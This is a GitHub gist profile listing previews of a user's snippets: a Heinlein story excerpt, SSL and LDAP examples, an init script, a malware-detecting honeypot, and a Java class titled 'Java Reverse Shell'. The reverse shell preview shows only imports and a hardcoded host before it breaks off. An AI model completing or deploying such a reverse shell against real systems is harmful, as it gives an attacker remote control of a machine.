Skip to content

Instantly share code, notes, and snippets.

View caseydunham's full-sized avatar

Casey Dunham caseydunham

View GitHub Profile
@caseydunham
caseydunham / zombies.md
Created April 23, 2022 00:31 — forked from defunkt/zombies.md
—All You Zombies— by Robert A. Heinlein

All You Zombies

2217 Time Zone V (EST) 7 Nov. 1970--NTC-- "Pop's Place": I was polishing a brandy snifter when the Unmarried Mother came in. I noted the time---10:17 P. M. zone five, or eastern time, November 7th, 1970. Temporal agents always notice time and date; we must.

The Unmarried Mother was a man twenty--five years old, no taller than I am, childish features and a touchy temper. I didn't like his looks---I never had---but he was a lad I was here to recruit, he was my boy. I gave him my best barkeep's smile.

Maybe I'm too critical. He wasn't swish; his nickname came from what he always said when some nosy type asked him his line: "I'm an unmarried mother." If he felt less than murderous he would add: "at four cents a word. I write confession stories."

If he felt nasty, he would wait for somebody to make something of it. He had a lethal style of infighting, like a female cop---reason I wanted him. Not the only one.

@caseydunham
caseydunham / C.java
Created October 3, 2017 13:42
Java Reverse Shell
// Not sure where I originally got this from.
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
public class C {
public C() throws Exception {
String host="10.0.0.90";
@caseydunham
caseydunham / SSLTest.java
Created June 7, 2016 20:17
Example of setting the SSLSocket Endpoint Identification Algorithm to Prevent MiTM Attacks
import javax.net.ssl.*;
import java.io.InputStream;
import java.io.PrintWriter;
public class SSLTest {
public static void main(String[] args) throws Exception {
// Just create standard SSLSocket to an HTTPS enabled website
@caseydunham
caseydunham / ad_unix_conversion_test.php
Created June 30, 2015 18:53
Convert Active Directory TimeStamps to and from Unix Timestamps
// based on http://stackoverflow.com/questions/15770879/unix-timestamp-to-ldap-timestamp
<?php
date_default_timezone_set('America/New_York');
// Microsoft TIMESTAMP epoch is Jan 1, 1601 http://www.selfadsi.org/deep-inside/microsoft-integer8-attributes.htm
// More Info:
// http://blogs.technet.com/b/askds/archive/2009/04/15/the-lastlogontimestamp-attribute-what-it-was-designed-for-and-how-it-works.aspx
function ldapTimeToUnixTime($ldapTime) {
$secsAfterADEpoch = $ldapTime / 10000000;
$ADToUnixConverter = ((1970 - 1601) * 365 - 3 + round((1970 - 1601) / 4)) * 86400;
@caseydunham
caseydunham / uwsgi
Created April 1, 2015 19:44
Simple uWSGI CentOS 6 Init Script
#!/bin/bash
#
# uwsgi - This script starts and stops all configured uwsgi applications
#
# chkconfig: - 85 15
# description: uWSGI is a program to run applications adhering to the
# Web Server Gateway Interface.
# processname: uwsgi
# config: /etc/sysconfig/uwsgi
# pidfile: /var/run/uwsgi.pid
@caseydunham
caseydunham / gist:3116911eaeac608433df
Created February 6, 2015 19:41
HTML Select Country List for Transactions
<select id="country" name="country" class="form-control">
<option value="AL">Albania</option>
<option value="DZ">Algeria</option>
<option value="AD">Andorra</option>
<option value="AO">Angola</option>
<option value="AI">Anguilla</option>
<option value="AG">Antigua and Barbuda</option>
<option value="AR">Argentina</option>
<option value="AM">Armenia</option>
<option value="AW">Aruba</option>
@caseydunham
caseydunham / honeypot.py
Created August 28, 2014 18:09
TimelessP's 2014-08-27 honeypot.py for detecting Lightaidra
# -*- coding: utf-8 -*-
# See @TimelessP on Twitter
# Originally pulled from http://pastebin.com/pXXi3g1z
# Also see http://pastebin.com/GhuezLhP
import SocketServer
import string
import datetime
import subprocess
import re
import threading

Keybase proof

I hereby claim:

  • I am caseydunham on github.
  • I am caseydunham (https://keybase.io/caseydunham) on keybase.
  • I have a public key ASA0eiMmiLMlz1EyCN-kttKMKJNIXBx-pJEhOQQ2705bRgo

To claim this, I am signing this object:

@caseydunham
caseydunham / ad_test.py
Created July 30, 2014 17:37
Retrieve user information from AD via Python LDAP
import sys, ldap
# DN = username@example.com, secret = password, un = username
DN, secret, un = sys.argv[1:4]
server = "ldap://server.com"
port = 389
base = "dc=example,dc=com"
scope = ldap.SCOPE_SUBTREE